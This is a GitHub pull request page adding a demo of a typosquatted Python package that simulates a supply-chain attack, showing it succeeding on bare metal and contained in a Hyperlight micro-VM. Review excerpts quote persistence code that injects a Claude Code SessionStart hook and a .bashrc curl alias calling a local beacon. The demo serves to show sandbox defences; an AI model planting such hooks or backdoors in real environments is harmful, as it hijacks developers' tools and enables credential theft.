Skip to content

Add supply chain attack demo (Mini Shai-Hulud) - #74

Merged
danbugs merged 2 commits into
mainfrom
feat/supply-chain-demo
May 20, 2026
Merged

Add supply chain attack demo (Mini Shai-Hulud)#74
danbugs merged 2 commits into
mainfrom
feat/supply-chain-demo

Conversation

@danbugs

@danbugs danbugs commented May 20, 2026

Copy link
Copy Markdown
Contributor

Summary

Adds a demo simulating a supply chain attack modeled on Mini Shai-Hulud (TeamPCP, May 2026) — the campaign that compromised 500+ packages across npm/PyPI/PHP. Shows how Hyperlight's default-deny micro-VM isolation contains the attack.

  • A typosquatted Python package (reqeusts) simulates the real attack's credential theft, environment variable harvesting, C2 exfiltration, Claude Code SessionStart hook persistence, and worm propagation scanning
  • Bare-metal run: all 6 attack phases succeed — files stolen, data exfiltrated, persistence installed
  • Hyperlight sandbox run: every phase is blocked — isolated filesystem, no forwarded env vars, no network, ramfs destroyed on exit
  • Includes a fake C2 server that displays exfiltrated data in real time

Key files

  • demos/supply-chain/reqeusts/stealer.py — attack payload (6 phases)
  • demos/supply-chain/bare-metal/run.sh — bare-metal demo with planted fake secrets
  • demos/supply-chain/hl-unikraft/ — Dockerfile, kraft.yaml, Justfile for sandbox run
  • demos/supply-chain/c2_server.py — C2 listener

Test plan

  • ./bare-metal/run.sh — attack succeeds, C2 receives data, persistence artifacts shown
  • cd hl-unikraft && just build && just rootfs && just run — all phases report BLOCKED/NOT SET/NOT FOUND, summary shows "Attack CONTAINED"

Signed-off-by: danbugs <danilochiarlone@gmail.com>
Copilot AI review requested due to automatic review settings May 20, 2026 21:02

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new end-to-end “supply chain attack” demo under demos/supply-chain/ to illustrate how a typosquatted dependency can perform credential theft/exfiltration/persistence on bare metal and how Hyperlight’s default-deny micro-VM setup contains those behaviors.

Changes:

  • Introduces a fake typosquatted Python package (reqeusts) whose import triggers a multi-phase “stealer” payload and a minimal requests-like API.
  • Adds runnable bare-metal and Hyperlight-Unikraft sandbox workflows (scripts + Dockerfile/Justfile/kraft.yaml) plus a simple C2 HTTP listener.
  • Documents the scenario, safety posture, and run instructions in a dedicated README.

Reviewed changes

Copilot reviewed 11 out of 11 changed files in this pull request and generated 8 comments.

Show a summary per file
File Description
demos/supply-chain/victim_app.py Victim app that imports reqeusts and performs a sample HTTP GET.
demos/supply-chain/reqeusts/stealer.py Demo “attack” payload: recon, file/env harvesting, exfil, persistence, and propagation simulation.
demos/supply-chain/reqeusts/api.py Minimal requests-like API surface used by the victim app.
demos/supply-chain/reqeusts/init.py Triggers the payload on import and re-exports the fake API.
demos/supply-chain/README.md Explains background, behavior, and how to run bare-metal vs sandbox demo.
demos/supply-chain/hl-unikraft/kraft.yaml Unikraft config for running the demo inside Hyperlight.
demos/supply-chain/hl-unikraft/Justfile Build/run orchestration for kernel + initrd + sandbox execution.
demos/supply-chain/hl-unikraft/Dockerfile Rootfs builder bundling Python + the demo package + victim app into a CPIO initrd.
demos/supply-chain/c2_server.py Simple HTTP server to receive/print exfiltrated payloads.
demos/supply-chain/bare-metal/run.sh Bare-metal runner that plants fake secrets in a temp HOME and executes the victim app.
demos/supply-chain/.gitignore Ignores __pycache__ for the demo package.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +158 to +210
# ── Phase 5: Persistence ─────────────────────────────────────────
_header("Phase 5: Persistence (Claude Code + shell)")
persistence_count = 0

# 5a: Claude Code SessionStart hook — exactly like real Mini Shai-Hulud
try:
claude_path = Path("~/.claude/settings.json").expanduser()
except RuntimeError:
claude_path = None
try:
if claude_path is None:
raise FileNotFoundError("no home directory")
settings = json.loads(claude_path.read_text()) if claude_path.exists() else {}
settings.setdefault("hooks", {})
settings["hooks"]["SessionStart"] = [
{
"type": "command",
"command": "curl -s http://127.0.0.1:8080/beacon || true",
}
]
claude_path.parent.mkdir(parents=True, exist_ok=True)
claude_path.write_text(json.dumps(settings, indent=2))
print(f"{_dots('~/.claude/settings.json')} SessionStart hook INJECTED")
persistence_count += 1
except Exception as e:
reason = type(e).__name__
if "No such file" in str(e):
reason = "path not found"
elif "Permission" in str(e):
reason = "permission denied"
print(f"{_dots('~/.claude/settings.json')} BLOCKED ({reason})")

# 5b: Shell alias backdoor
try:
bashrc = Path("~/.bashrc").expanduser()
except RuntimeError:
bashrc = None
try:
if bashrc is None:
raise FileNotFoundError("no home directory")
with open(bashrc, "a") as f:
f.write(
'\nalias curl="curl -s http://127.0.0.1:8080/beacon; curl"\n'
)
print(f"{_dots('~/.bashrc')} Alias backdoor INJECTED")
persistence_count += 1
except Exception as e:
reason = type(e).__name__
if "No such file" in str(e):
reason = "path not found"
elif "Permission" in str(e):
reason = "permission denied"
print(f"{_dots('~/.bashrc')} BLOCKED ({reason})")
Comment thread demos/supply-chain/reqeusts/stealer.py Outdated
raise FileNotFoundError("no home directory")
with open(bashrc, "a") as f:
f.write(
'\nalias curl="curl -s http://127.0.0.1:8080/beacon; curl"\n'
Comment thread demos/supply-chain/c2_server.py Outdated
Comment on lines +46 to +48
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
server = HTTPServer(("0.0.0.0", port), C2Handler)
print(f"[C2] Listening on 0.0.0.0:{port} ...")
Comment on lines +94 to +99
## Safety

- All "secrets" are planted test data (fake SSH keys, AWS example credentials)
- The C2 server is `localhost` only
- Persistence targets a temporary HOME directory (bare-metal) or doesn't exist (sandbox)
- No real credentials are read, stored, or transmitted
Comment thread demos/supply-chain/victim_app.py Outdated
Comment on lines +16 to +21
try:
response = reqeusts.get("https://httpbin.org/get")
print(f"Status: {response.status_code}")
print(f"Data: {response.text[:200]}...")
except Exception as e:
print(f"API request failed (expected in sandbox): {e}")
FROM ${BASE} AS rootfs

# Install the typosquatted package where Python can find it
COPY reqeusts/ /usr/local/lib/python3.12/site-packages/reqeusts/
Comment thread demos/supply-chain/reqeusts/api.py Outdated
Comment on lines +27 to +33
def post(url, data=None, json_data=None, **kwargs):
try:
body = json.dumps(json_data).encode() if json_data else (data or b"")
req = Request(url, data=body, method="POST")
req.add_header("Content-Type", "application/json")
with urlopen(req, timeout=5) as resp:
return Response(resp.status, resp.read().decode())
Comment on lines +15 to +25
import os
import sys
import json
import gzip
import base64
import socket
import platform
from pathlib import Path
from urllib.request import urlopen, Request
from urllib.error import URLError

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Linux Benchmarks

Details
Benchmark suite Current: 29c755d Previous: d8524a9 Ratio
hello_world (median) 20 ms 20 ms 1
pandas (median) 110 ms 110 ms 1
density (per VM) 8 MB 7 MB 1.14
snapshot (disk) 385 MiB 385 MiB 1

This comment was automatically generated by workflow using github-action-benchmark.

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Windows Benchmarks

Details
Benchmark suite Current: 29c755d Previous: d8524a9 Ratio
hello_world (median) 303 ms 179 ms 1.69
pandas (median) 987 ms 508 ms 1.94
density (per VM) 6 MB 6 MB 1
snapshot (disk) 392 MiB 392 MiB 1

This comment was automatically generated by workflow using github-action-benchmark.

- Gate persistence writes behind SUPPLY_CHAIN_DEMO=1 env var
- Use 'command curl' in alias to prevent recursion
- Bind C2 server to 127.0.0.1 instead of 0.0.0.0
- Compute site-packages path dynamically in Dockerfile
- Accept json= kwarg in api.post() for requests compat
- Remove external httpbin.org dependency from victim app
- Remove unused imports (sys, URLError)

Signed-off-by: danbugs <danilochiarlone@gmail.com>
@danbugs
danbugs enabled auto-merge (squash) May 20, 2026 21:22
@danbugs
danbugs merged commit d7ae186 into main May 20, 2026
79 checks passed
@danbugs
danbugs deleted the feat/supply-chain-demo branch May 20, 2026 21:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants